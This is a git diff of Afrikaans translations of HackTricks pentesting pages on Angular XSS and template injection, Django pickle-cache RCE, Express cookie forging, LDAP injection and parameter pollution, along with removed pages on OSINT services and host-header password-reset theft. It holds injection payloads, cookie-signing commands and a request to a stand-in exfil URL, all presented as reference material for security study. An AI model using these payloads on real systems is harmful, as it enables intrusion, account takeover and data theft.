4. `bypassSecurityTrustScript` word gebruik om aan te dui dat die gegewe waarde veilige JavaScript is. Ons het egter gevind dat die gedrag daarvan onvoorspelbaar is, omdat ons nie JS-kode in sjablone kon uitvoer nie met hierdie metode.
|
||||
4. `bypassSecurityTrustScript` word gebruik om aan te dui dat die gegewe waarde veilige JavaScript is. Ons het egter gevind dat die gedrag daarvan onvoorspelbaar is, omdat ons nie JS-kode in sjablone kon uitvoer nie met behulp van hierdie metode.
|
||||
|
||||
```jsx
|
||||
//app.component.ts
|
||||
@ -187,7 +189,7 @@ this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: u
|
||||
Request URL: GET example.com/exfil/a
|
||||
```
|
||||
|
||||
Angular bied 'n `sanitize` metode aan om data te sanitiseren voordat dit in weergawes vertoon word. Hierdie metode gebruik die sekuriteitskonteks wat verskaf word en reinig die invoer dienooreenkomstig. Dit is egter van kardinale belang om die korrekte sekuriteitskonteks vir die spesifieke data en konteks te gebruik. Byvoorbeeld, om 'n sanitisateur met `SecurityContext.URL` op HTML-inhoud toe te pas, bied nie beskerming teen gevaarlike HTML-waardes nie. In sulke scenario's kan die misbruik van sekuriteitskonteks lei tot XSS-kwesbaarhede.
|
||||
Angular bied 'n `sanitize` metode aan om data te sanitisere voordat dit in weergawes vertoon word. Hierdie metode gebruik die sekuriteitskonteks wat verskaf word en reinig die invoer dienooreenkomstig. Dit is egter van kardinale belang om die korrekte sekuriteitskonteks vir die spesifieke data en konteks te gebruik. Byvoorbeeld, om 'n sanitisateur met `SecurityContext.URL` op HTML-inhoud toe te pas, bied nie beskerming teen gevaarlike HTML-waardes nie. In sulke scenario's kan die misbruik van sekuriteitskonteks lei tot XSS kwesbaarhede.
|
||||
|
||||
### HTML inspuiting
|
||||
|
||||
@ -216,9 +218,9 @@ test = "<script>alert(1)</script><h1>test</h1>";
|
||||
|
||||
#### Kliënt-kant Rendering (CSR)
|
||||
|
||||
Angular benut sjablone om bladsye dinamies te konstrueer. Die benadering behels die insluiting van sjabloonuitdrukkings wat Angular moet evalueer binne dubbele krulhakies (`{{}}`). Op hierdie manier bied die raamwerk bykomende funksionaliteit. Byvoorbeeld, 'n sjabloon soos `{{1+1}}` sou as 2 vertoon.
|
||||
Angular benut sjablone om bladsye dinamies te konstrueer. Die benadering behels die insluiting van sjabloonuitdrukkings wat Angular moet evalueer binne dubbele haakies (`{{}}`). Op hierdie manier bied die raamwerk bykomende funksionaliteit. Byvoorbeeld, 'n sjabloon soos `{{1+1}}` sou as 2 vertoon.
|
||||
|
||||
Tipies, Angular ontsnap gebruikersinvoer wat met sjabloonuitdrukkings verwar kan word (bv. karakters soos \`< > ' " \`\`). Dit beteken dat bykomende stappe benodig word om hierdie beperking te omseil, soos om funksies te gebruik wat JavaScript-stringobjekte genereer om te verhoed dat geblacklisted karakters gebruik word. Om dit te bereik, moet ons egter die Angular-konteks, sy eienskappe en veranderlikes oorweeg. Daarom kan 'n sjabloon inspuitingsaanval soos volg voorkom:
|
||||
Tipies, ontsnap Angular gebruikersinvoer wat verwar kan word met sjabloonuitdrukkings (bv. karakters soos \`< > ' " \`\`). Dit beteken dat bykomende stappe nodig is om hierdie beperking te omseil, soos om funksies te gebruik wat JavaScript-stringobjekte genereer om te verhoed dat geblacklisted karakters gebruik word. Om dit te bereik, moet ons egter die Angular-konteks, sy eienskappe en veranderlikes oorweeg. Daarom kan 'n sjabloon inspuitingsaanval soos volg voorkom:
|
||||
```jsx
|
||||
//app.component.ts
|
||||
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
|
||||
@ -227,11 +229,11 @@ selector: 'app-root',
|
||||
template: '<h1>title</h1>' + _userInput
|
||||
})
|
||||
```
|
||||
Soos hierbo getoon: `constructor` verwys na die omvang van die Object `constructor` eienskap, wat ons in staat stel om die String constructor aan te roep en 'n arbitrêre kode uit te voer.
|
||||
Soos hierbo getoon, verwys `constructor` na die omvang van die Object `constructor` eiendom, wat ons in staat stel om die String constructor aan te roep en 'n arbitrêre kode uit te voer.
|
||||
|
||||
#### Server-Side Rendering (SSR)
|
||||
|
||||
In teenstelling met CSR, wat in die blaaiers se DOM plaasvind, is Angular Universal verantwoordelik vir SSR van sjabloonlêers. Hierdie lêers word dan aan die gebruiker gelewer. Ten spyte van hierdie onderskeid, pas Angular Universal dieselfde sanitasie-meganismes toe wat in CSR gebruik word om SSR-sekuriteit te verbeter. 'n Sjabloon-inspuitingskwesbaarheid in SSR kan op dieselfde manier as in CSR opgespoor word, omdat die gebruikte sjabloontaal dieselfde is.
|
||||
In teenstelling met CSR, wat in die blaaiers se DOM plaasvind, is Angular Universal verantwoordelik vir SSR van sjabloonlêers. Hierdie lêers word dan aan die gebruiker gelewer. Ondanks hierdie onderskeid, pas Angular Universal dieselfde sanitasie-meganismes toe wat in CSR gebruik word om SSR-sekuriteit te verbeter. 'n Sjabloon-inspuitingskwesbaarheid in SSR kan op dieselfde manier as in CSR opgespoor word, omdat die gebruikte sjabloontaal dieselfde is.
|
||||
|
||||
Natuurlik is daar ook 'n moontlikheid om nuwe sjabloon-inspuitingskwesbaarhede in te voer wanneer derdeparty-sjabloon-enjins soos Pug en Handlebars gebruik word.
|
||||
|
||||
@ -239,7 +241,7 @@ Natuurlik is daar ook 'n moontlikheid om nuwe sjabloon-inspuitingskwesbaarhede i
|
||||
|
||||
#### DOM interfaces
|
||||
|
||||
Soos voorheen vermeld, kan ons die DOM direk benader deur die _Document_ interface. As gebruikersinvoer nie vooraf gevalideer word nie, kan dit lei tot cross-site scripting (XSS) kwesbaarhede.
|
||||
Soos voorheen vermeld, kan ons die DOM direk benader met die _Document_ interface. As gebruikersinvoer nie vooraf gevalideer word nie, kan dit lei tot cross-site scripting (XSS) kwesbaarhede.
|
||||
|
||||
Ons het die `document.write()` en `document.createElement()` metodes in die voorbeelde hieronder gebruik:
|
||||
```jsx
|
||||
@ -315,7 +317,7 @@ this.elementRef.nativeElement.appendChild(s);
|
||||
}
|
||||
}
|
||||
```
|
||||
* Ten spyte van die feit dat `Renderer2` 'n API bied wat veilig gebruik kan word selfs wanneer direkte toegang tot inheemse elemente nie ondersteun word nie, het dit steeds 'n paar sekuriteitsfoute. Met `Renderer2` is dit moontlik om eienskappe op 'n HTML-element in te stel met die `setAttribute()` metode, wat geen XSS voorkomingsmeganismes het nie.
|
||||
* Ten spyte van die feit dat `Renderer2` 'n API bied wat veilig gebruik kan word selfs wanneer direkte toegang tot inheemse elemente nie ondersteun word nie, het dit steeds 'n paar sekuriteitsfoute. Met `Renderer2` is dit moontlik om eienskappe op 'n HTML-element in te stel met die `setAttribute()` metode, wat geen XSS voorkoming meganismes het nie.
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -375,7 +377,7 @@ Tydens ons navorsing het ons ook die gedrag van ander `Renderer2` metodes, soos
|
||||
|
||||
#### jQuery
|
||||
|
||||
jQuery is 'n vinnige, klein, en kenmerkryke JavaScript-biblioteek wat in die Angular-projek gebruik kan word om te help met die manipulasie van die HTML DOM-objekte. Soos bekend, kan hierdie biblioteek se metodes egter uitgebuit word om 'n XSS-kwesbaarheid te bereik. Om te bespreek hoe sommige kwesbare jQuery metodes in Angular projekte uitgebuit kan word, het ons hierdie subafdeling bygevoeg.
|
||||
jQuery is 'n vinnige, klein, en kenmerkryke JavaScript-biblioteek wat in die Angular-projek gebruik kan word om te help met die manipulasie van die HTML DOM-objekte. Soos bekend, kan hierdie biblioteek se metodes egter uitgebuit word om 'n XSS-kwesbaarheid te bereik. Om te bespreek hoe sommige kwesbare jQuery-metodes in Angular-projekte uitgebuit kan word, het ons hierdie subafdeling bygevoeg.
|
||||
|
||||
* Die `html()` metode kry die HTML-inhoud van die eerste element in die stel van ooreenstemmende elemente of stel die HTML-inhoud van elke ooreenstemmende element. Deur ontwerp kan enige jQuery-konstruksie of metode wat 'n HTML-string aanvaar, potensieel kode uitvoer. Dit kan gebeur deur die inspuiting van `<script>`-tags of die gebruik van HTML-eienskappe wat kode uitvoer, soos in die voorbeeld getoon.
|
||||
|
||||
@ -446,7 +448,7 @@ $palias.append(html);
|
||||
|
||||
#### DOM interfaces
|
||||
|
||||
Volgens die W3C-dokumentasie word die `window.location` en `document.location` objek as aliase in moderne blaaiers behandel. Dit is waarom hulle soortgelyke implementasies van sommige metodes en eienskappe het, wat 'n open redirect en DOM XSS met `javascript://` skema-aanvalle kan veroorsaak soos hieronder genoem.
|
||||
Volgens die W3C-dokumentasie word die `window.location` en `document.location` objek as sinonieme in moderne blaaiers behandel. Dit is waarom hulle 'n soortgelyke implementering van sommige metodes en eienskappe het, wat 'n open redirect en DOM XSS met `javascript://` skema-aanvalle kan veroorsaak, soos hieronder genoem.
|
||||
|
||||
* `window.location.href`(en `document.location.href`)
|
||||
|
||||
@ -465,7 +467,7 @@ window.location.href = "https://google.com/about"
|
||||
<button type="button" (click)="goToUrl()">Click me!</button>
|
||||
```
|
||||
|
||||
Die eksploitasiestap is identies vir die volgende scenario's.
|
||||
Die uitbuitingsproses is identies vir die volgende scenario's.
|
||||
* `window.location.assign()`(en `document.location.assign()`)
|
||||
|
||||
Hierdie metode laat die venster toe om die dokument by die gespesifiseerde URL te laai en weer te gee. As ons beheer oor hierdie metode het, kan dit 'n sink vir 'n open redirect aanval wees.
|
||||
@ -483,7 +485,7 @@ window.location.assign("https://google.com/about")
|
||||
|
||||
Hierdie metode vervang die huidige hulpbron met die een by die gegewe URL.
|
||||
|
||||
Dit verskil van die `assign()` metode in die sin dat na gebruik van `window.location.replace()`, die huidige bladsy nie in sessiegeskiedenis gestoor sal word nie. Dit is egter ook moontlik om 'n open redirect kwesbaarheid te benut wanneer ons beheer oor hierdie metode het.
|
||||
Dit verskil van die `assign()` metode omdat die huidige bladsy nie in sessiegeskiedenis gestoor sal word nie nadat `window.location.replace()` gebruik is. Dit is egter ook moontlik om 'n open redirect kwesbaarheid te benut wanneer ons beheer oor hierdie metode het.
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -558,7 +560,7 @@ console.log(this.location.go("http://google.com/about"));
|
||||
```
|
||||
|
||||
Resultaat: `http://localhost:4200/http://google.com/about`
|
||||
* Die Angular `Router` klas word hoofsaaklik gebruik om binne dieselfde domein te navigeer en voeg nie enige addisionele kwesbaarhede by die toepassing nie:
|
||||
* Die Angular `Router` klas word hoofsaaklik gebruik om binne dieselfde domein te navigeer en voeg geen addisionele kwesbaarhede by die toepassing nie:
|
||||
|
||||
```jsx
|
||||
//app-routing.module.ts
|
||||
@ -601,3 +603,7 @@ this.router.navigateByUrl('URL')
|
||||
* [Angular Document](https://angular.io/api/common/DOCUMENT)
|
||||
* [Angular Location](https://angular.io/api/common/Location)
|
||||
* [Angular Router](https://angular.io/api/router/Router)
|
||||
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -1,8 +1,14 @@
|
||||
# Django
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
## Cache Manipulation to RCE
|
||||
Django se standaard cache stoor metode is [Python pickles](https://docs.python.org/3/library/pickle.html), wat kan lei tot RCE as [onbetroubare invoer ontpikkel](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **As 'n aanvaller skrywe toegang tot die cache kan verkry, kan hulle hierdie kwesbaarheid tot RCE op die onderliggende bediener opgradeer**.
|
||||
Django se standaard cache stoor metode is [Python pickles](https://docs.python.org/3/library/pickle.html), wat kan lei tot RCE as [onbetroubare invoer ontpikkel](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **As 'n aanvaller skrywe toegang tot die cache kan verkry, kan hulle hierdie kwesbaarheid na RCE op die onderliggende bediener opgradeer**.
|
||||
|
||||
Django cache word in een van vier plekke gestoor: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [geheue](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [lêers](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), of 'n [databasis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Cache wat in 'n Redis bediener of databasis gestoor is, is die mees waarskynlike aanvalsvectors (Redis inspuiting en SQL inspuiting), maar 'n aanvaller mag ook in staat wees om lêer-gebaseerde cache te gebruik om 'n arbitrêre skrywe in RCE te omskep. Onderhouers het dit as 'n nie-kwesbaarheid gemerk. Dit is belangrik om te noem dat die cache lêer gids, SQL tabelnaam, en Redis bediener besonderhede sal verskil op grond van implementering.
|
||||
Django cache word in een van vier plekke gestoor: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [geheue](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [lêers](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), of 'n [databasis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Cache wat in 'n Redis bediener of databasis gestoor is, is die mees waarskynlike aanvalsvectors (Redis inspuiting en SQL inspuiting), maar 'n aanvaller mag ook in staat wees om lêer-gebaseerde cache te gebruik om 'n arbitrêre skrywe in RCE te omskep. Onderhouers het dit as 'n nie-kwessie gemerk. Dit is belangrik om te noem dat die cache lêer gids, SQL tabelnaam, en Redis bediener besonderhede sal verskil op grond van implementering.
|
||||
|
||||
Hierdie HackerOne verslag bied 'n uitstekende, herhaalbare voorbeeld van die uitbuiting van Django cache wat in 'n SQLite databasis gestoor is: https://hackerone.com/reports/1415436
|
||||
Hierdie HackerOne verslag bied 'n uitstekende, herhaalbare voorbeeld van die ontginning van Django cache wat in 'n SQLite databasis gestoor is: https://hackerone.com/reports/1415436
|
||||
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -1 +0,0 @@
|
||||
# GWT - Google Web Toolkit
|
@ -1,8 +1,10 @@
|
||||
# NodeJS Express
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
## Koekie Handtekening
|
||||
|
||||
Die hulpmiddel [https://github.com/DigitalInterruption/cookie-monster](https://github.com/DigitalInterruption/cookie-monster) is 'n nut vir die outomatisering van die toetsing en herhandtekening van Express.js koekie geheime.
|
||||
Die hulpmiddel [https://github.com/DigitalInterruption/cookie-monster](https://github.com/DigitalInterruption/cookie-monster) is 'n nut om die toetsing en herhandtekening van Express.js koekie geheime te outomatiseer.
|
||||
|
||||
### Enkel koekie met 'n spesifieke naam
|
||||
```bash
|
||||
@ -16,7 +18,7 @@ cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -w custom.
|
||||
```bash
|
||||
cookie-monster -b -f cookies.json
|
||||
```
|
||||
### Toets verskeie koekies met batchmodus met 'n pasgemaakte woordlys
|
||||
### Toets verskeie koekies met behulp van batchmodus met 'n pasgemaakte woordlys
|
||||
```bash
|
||||
cookie-monster -b -f cookies.json -w custom.lst
|
||||
```
|
||||
@ -26,4 +28,4 @@ As jy die geheim ken, kan jy die koekie teken.
|
||||
```bash
|
||||
cookie-monster -e -f new_cookie.json -k secret
|
||||
```
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -1,125 +0,0 @@
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
# [ProjectHoneypot](https://www.projecthoneypot.org/)
|
||||
|
||||
Jy kan vra of 'n IP verband hou met verdagte/slegte aktiwiteite. Heeltemal gratis.
|
||||
|
||||
# [**BotScout**](http://botscout.com/api.htm)
|
||||
|
||||
Kontroleer of die IP-adres verband hou met 'n bot wat rekeninge registreer. Dit kan ook gebruikersname en e-posse kontroleer. Aanvanklik gratis.
|
||||
|
||||
# [Hunter](https://hunter.io/)
|
||||
|
||||
Vind en verifieer e-posse.
|
||||
Sommige gratis API-versoeke, vir meer moet jy betaal.
|
||||
Kommersieel?
|
||||
|
||||
# [AlientVault](https://otx.alienvault.com/api)
|
||||
|
||||
Vind slegte aktiwiteite wat verband hou met IP's en domeine. Gratis.
|
||||
|
||||
# [Clearbit](https://dashboard.clearbit.com/)
|
||||
|
||||
Vind verwante persoonlike data aan 'n e-pos \(profiele op ander platforms\), domein \(basiese maatskappy-inligting, e-posse en mense wat werk\) en maatskappye \(kry maatskappy-inligting van e-pos\).
|
||||
Jy moet betaal om toegang te verkry tot al die moontlikhede.
|
||||
Kommersieel?
|
||||
|
||||
# [BuiltWith](https://builtwith.com/)
|
||||
|
||||
Tegnologieë wat deur webwerwe gebruik word. Duur...
|
||||
Kommersieel?
|
||||
|
||||
# [Fraudguard](https://fraudguard.io/)
|
||||
|
||||
Kontroleer of 'n gasheer \(domein of IP\) verband hou met verdagte/slegte aktiwiteite. Het 'n paar gratis API-toegang.
|
||||
Kommersieel?
|
||||
|
||||
# [FortiGuard](https://fortiguard.com/)
|
||||
|
||||
Kontroleer of 'n gasheer \(domein of IP\) verband hou met verdagte/slegte aktiwiteite. Het 'n paar gratis API-toegang.
|
||||
|
||||
# [SpamCop](https://www.spamcop.net/)
|
||||
|
||||
Gee aan of 'n gasheer verband hou met spamaktiwiteit. Het 'n paar gratis API-toegang.
|
||||
|
||||
# [mywot](https://www.mywot.com/)
|
||||
|
||||
Gebaseer op menings en ander metrieks, kry of 'n domein verband hou met verdagte/slegte inligting.
|
||||
|
||||
# [ipinfo](https://ipinfo.io/)
|
||||
|
||||
Verkry basiese inligting van 'n IP-adres. Jy kan tot 100K/maand toets.
|
||||
|
||||
# [securitytrails](https://securitytrails.com/app/account)
|
||||
|
||||
Hierdie platform gee inligting oor domeine en IP-adresse soos domeine binne 'n IP of binne 'n domeinbediener, domeine besit deur 'n e-pos \(vind verwante domeine\), IP-geskiedenis van domeine \(vind die gasheer agter CloudFlare\), al die domeine wat 'n nameserver gebruik....
|
||||
Jy het 'n paar gratis toegang.
|
||||
|
||||
# [fullcontact](https://www.fullcontact.com/)
|
||||
|
||||
Laat jou toe om te soek op e-pos, domein of maatskappynaam en "persoonlike" inligting te verkry wat verband hou. Dit kan ook e-posse verifieer. Daar is 'n paar gratis toegang.
|
||||
|
||||
# [RiskIQ](https://www.spiderfoot.net/documentation/)
|
||||
|
||||
Baie inligting van domeine en IP's selfs in die gratis/gemeenskapsweergawe.
|
||||
|
||||
# [\_IntelligenceX](https://intelx.io/)
|
||||
|
||||
Soek domeine, IP's en e-posse en kry inligting van dumps. Het 'n paar gratis toegang.
|
||||
|
||||
# [IBM X-Force Exchange](https://exchange.xforce.ibmcloud.com/)
|
||||
|
||||
Soek op IP en versamel inligting wat verband hou met verdagte aktiwiteite. Daar is 'n paar gratis toegang.
|
||||
|
||||
# [Greynoise](https://viz.greynoise.io/)
|
||||
|
||||
Soek op IP of IP-reeks en kry inligting oor IP's wat die Internet skandeer. 15 dae gratis toegang.
|
||||
|
||||
# [Shodan](https://www.shodan.io/)
|
||||
|
||||
Kry skandeerinligting van 'n IP-adres. Het 'n paar gratis API-toegang.
|
||||
|
||||
# [Censys](https://censys.io/)
|
||||
|
||||
Baie soortgelyk aan shodan.
|
||||
|
||||
# [buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/)
|
||||
|
||||
Vind oop S3-buckets deur te soek op sleutelwoord.
|
||||
|
||||
# [Dehashed](https://www.dehashed.com/data)
|
||||
|
||||
Vind gelekte akrediteer van e-posse en selfs domeine.
|
||||
Kommersieel?
|
||||
|
||||
# [psbdmp](https://psbdmp.ws/)
|
||||
|
||||
Soek pastebins waar 'n e-pos verskyn het.
|
||||
Kommersieel?
|
||||
|
||||
# [emailrep.io](https://emailrep.io/key)
|
||||
|
||||
Kry reputasie van 'n e-pos.
|
||||
Kommersieel?
|
||||
|
||||
# [ghostproject](https://ghostproject.fr/)
|
||||
|
||||
Kry wagwoorde van gelekte e-posse.
|
||||
Kommersieel?
|
||||
|
||||
# [Binaryedge](https://www.binaryedge.io/)
|
||||
|
||||
Verkry interessante inligting van IP's.
|
||||
|
||||
# [haveibeenpwned](https://haveibeenpwned.com/)
|
||||
|
||||
Soek op domein en e-pos en kry of dit gekap is en wagwoorde.
|
||||
Kommersieel?
|
||||
|
||||
[https://dnsdumpster.com/](https://dnsdumpster.com/)\(in 'n kommersiële hulpmiddel?\)
|
||||
|
||||
[https://www.netcraft.com/](https://www.netcraft.com/) \(in 'n kommersiële hulpmiddel?\)
|
||||
|
||||
[https://www.nmmapper.com/sys/tools/subdomainfinder/](https://www.nmmapper.com/) \(in 'n kommersiële hulpmiddel?\)
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
@ -1,41 +0,0 @@
|
||||
# Ander Web Tricks
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
### Gasheer kop
|
||||
|
||||
Verskeie kere vertrou die agterkant op die **Gasheer kop** om sekere aksies uit te voer. Byvoorbeeld, dit kan sy waarde gebruik as die **domein om 'n wagwoordherstel te stuur**. So wanneer jy 'n e-pos ontvang met 'n skakel om jou wagwoord te herstel, is die domein wat gebruik word die een wat jy in die Gasheer kop geplaas het. Dan kan jy die wagwoordherstel van ander gebruikers aanvra en die domein verander na een wat deur jou beheer word om hul wagwoordherstelkodes te steel. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
|
||||
|
||||
> [!WARNING]
|
||||
> Let daarop dat dit moontlik is dat jy selfs nie hoef te wag vir die gebruiker om op die wagwoordherstel skakel te klik om die token te kry nie, aangesien selfs **spamfilters of ander intermediêre toestelle/bots dit mag klik om dit te analiseer**.
|
||||
|
||||
### Sessie booleans
|
||||
|
||||
Soms, wanneer jy sekere verifikasies korrek voltooi, sal die agterkant **net 'n boolean met die waarde "True" by 'n sekuriteitsattribuut van jou sessie voeg**. Dan sal 'n ander eindpunt weet of jy daardie toets suksesvol geslaag het.\
|
||||
As jy egter **die toets slaag** en jou sessie daardie "True" waarde in die sekuriteitsattribuut toegeken word, kan jy probeer om **ander hulpbronne te benader** wat **afhang van dieselfde attribuut** maar waarvoor jy **nie toestemming behoort te hê nie**. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
|
||||
|
||||
### Registreer funksionaliteit
|
||||
|
||||
Probeer om te registreer as 'n reeds bestaande gebruiker. Probeer ook om ekwivalente karakters te gebruik (punte, baie spasie en Unicode).
|
||||
|
||||
### Neem oor e-posse
|
||||
|
||||
Registreer 'n e-pos, voordat jy dit bevestig, verander die e-pos, dan, as die nuwe bevestigings e-pos na die eerste geregistreerde e-pos gestuur word, kan jy enige e-pos oorneem. Of as jy die tweede e-pos kan aktiveer wat die eerste een bevestig, kan jy ook enige rekening oorneem.
|
||||
|
||||
### Toegang tot interne servicedesk van maatskappye wat atlassian gebruik
|
||||
|
||||
{{#ref}}
|
||||
https://yourcompanyname.atlassian.net/servicedesk/customer/user/login
|
||||
{{#endref}}
|
||||
|
||||
### TRACE metode
|
||||
|
||||
Ontwikkelaars mag vergeet om verskeie foutopsporing opsies in die produksie-omgewing te deaktiveer. Byvoorbeeld, die HTTP `TRACE` metode is ontwerp vir diagnostiese doeleindes. As dit geaktiveer is, sal die webbediener op versoeke wat die `TRACE` metode gebruik, reageer deur in die antwoord die presiese versoek wat ontvang is, te herhaal. Hierdie gedrag is dikwels onskadelik, maar lei soms tot inligtingsontsluiting, soos die naam van interne verifikasie koppe wat aan versoeke deur omgekeerde proxies bygevoeg mag word.
|
||||
|
||||

|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
### Selfde-web Scripting
|
||||
|
||||
Dit gebeur wanneer ons 'n domein of subdomein teëkom wat na localhost of 127.0.0.1 oplos as gevolg van sekere DNS miskonfigurasies. Dit stel 'n aanvaller in staat om die RFC2109 (HTTP State Management Mechanism) dieselfde oorsprong beperkings te omseil, en dus statusbestuurdata te kap. Dit mag ook kruis-web scripting toelaat. Jy kan meer daaroor lees [hier](https://seclists.org/bugtraq/2008/Jan/270)
|
@ -1,9 +0,0 @@
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
**Navorsing meer oor aanvalle op DNS**
|
||||
|
||||
**DNSSEC en DNSSEC3**
|
||||
|
||||
**DNS in IPv6**
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
@ -1,20 +1,18 @@
|
||||
# LDAP Injection
|
||||
|
||||
## LDAP Injection
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## LDAP Injection
|
||||
|
||||
### **LDAP**
|
||||
|
||||
**As jy wil weet wat LDAP is, besoek die volgende bladsy:**
|
||||
**As jy wil weet wat LDAP is, toegang die volgende bladsy:**
|
||||
|
||||
{{#ref}}
|
||||
../network-services-pentesting/pentesting-ldap.md
|
||||
{{#endref}}
|
||||
|
||||
**LDAP Injection** is 'n aanval wat webtoepassings teiken wat LDAP-verklarings uit gebruikersinvoer opstel. Dit gebeur wanneer die toepassing **nie behoorlik sanitiseer** invoer nie, wat aanvallers in staat stel om **LDAP-verklarings te manipuleer** deur 'n plaaslike proxy, wat moontlik lei tot ongeoorloofde toegang of datamanipulasie.
|
||||
**LDAP Injection** is 'n aanval wat webtoepassings teiken wat LDAP-verklarings uit gebruikersinvoer opstel. Dit gebeur wanneer die toepassing **nie behoorlik sanitiseer** invoer nie, wat aanvallers toelaat om **LDAP-verklarings te manipuleer** deur 'n plaaslike proxy, wat moontlik lei tot ongeoorloofde toegang of datamanipulasie.
|
||||
|
||||
{{#file}}
|
||||
EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf
|
||||
@ -30,9 +28,9 @@ EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf
|
||||
**Eenvoudig** = attr filtertype assertionvalue\
|
||||
**Filtertype** = _'=' / '\~=' / '>=' / '<='_\
|
||||
**Teenwoordig** = attr = \*\
|
||||
**Substring** = attr ”=” \[begin] \* \[eindig]\
|
||||
**Begin** = assertionvalue\
|
||||
**Eindig** = assertionvalue\
|
||||
**Substring** = attr ”=” \[aanvanklik] \* \[finale]\
|
||||
**Aanvanklik** = assertionvalue\
|
||||
**Finale** = assertionvalue\
|
||||
**(&)** = Absolute WAAR\
|
||||
**(|)** = Absolute VALSE
|
||||
|
||||
@ -121,7 +119,7 @@ password=any
|
||||
|
||||
### Blind LDAP Inspuiting
|
||||
|
||||
Jy kan vals of werklike antwoorde afdwing om te kyk of enige data teruggestuur word en 'n moontlike Blind LDAP Inspuiting te bevestig:
|
||||
Jy kan vals of waar antwoorde afdwing om te kyk of enige data teruggestuur word en 'n moontlike Blind LDAP Inspuiting te bevestig:
|
||||
```bash
|
||||
#This will result on True, so some information will be shown
|
||||
Payload: *)(objectClass=*))(&objectClass=void
|
||||
@ -135,7 +133,7 @@ Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=P
|
||||
```
|
||||
#### Dump data
|
||||
|
||||
Jy kan oor die ascii letters, syfers en simbole iterere:
|
||||
Jy kan oor die ascii letters, syfers en simbole herhaal:
|
||||
```bash
|
||||
(&(sn=administrator)(password=*)) : OK
|
||||
(&(sn=administrator)(password=A*)) : KO
|
||||
|
@ -1,13 +1,11 @@
|
||||
# Parameter Pollution | JSON Injection
|
||||
|
||||
## Parameter Pollution
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## HTTP Parameter Pollution (HPP) Oorsig
|
||||
|
||||
HTTP Parameter Pollution (HPP) is 'n tegniek waar aanvallers HTTP parameters manipuleer om die gedrag van 'n webtoepassing op onvoorsiene maniere te verander. Hierdie manipulering word gedoen deur HTTP parameters by te voeg, te wysig of te dupliceer. Die effek van hierdie manipulering is nie direk sigbaar vir die gebruiker nie, maar kan die funksionaliteit van die toepassing aan die bedienerkant aansienlik verander, met waarneembare impakte aan die kliëntkant.
|
||||
HTTP Parameter Pollution (HPP) is 'n tegniek waar aanvallers HTTP parameters manipuleer om die gedrag van 'n webtoepassing op onvoorsiene maniere te verander. Hierdie manipulering word gedoen deur HTTP parameters by te voeg, te wysig of te dupliseer. Die effek van hierdie manipulering is nie direk sigbaar vir die gebruiker nie, maar kan die funksionaliteit van die toepassing aan die bedienerkant aansienlik verander, met waarneembare impakte aan die kliëntkant.
|
||||
|
||||
### Voorbeeld van HTTP Parameter Pollution (HPP)
|
||||
|
||||
@ -19,9 +17,9 @@ Deur 'n addisionele `from` parameter in te voeg:
|
||||
|
||||
- **Gemanipeerde URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
|
||||
|
||||
Die transaksie mag verkeerdelik aan `accountC` in plaas van `accountA` gehef word, wat die potensiaal van HPP om transaksies of ander funksies soos wagwoordherstel, 2FA instellings, of API sleutel versoeke te manipuleer, toon.
|
||||
Die transaksie mag verkeerdelik aan `accountC` in plaas van `accountA` gehef word, wat die potensiaal van HPP om transaksies of ander funksies soos wagwoordherstel, 2FA-instellings, of API-sleutel versoeke te manipuleer, toon.
|
||||
|
||||
#### **Tegnologie-Spesifieke Parameter Parsing**
|
||||
#### **Tegnologie-spesifieke Parameter Parsing**
|
||||
|
||||
- Die manier waarop parameters geparseer en geprioritiseer word, hang af van die onderliggende webtegnologie, wat beïnvloed hoe HPP uitgebuit kan word.
|
||||
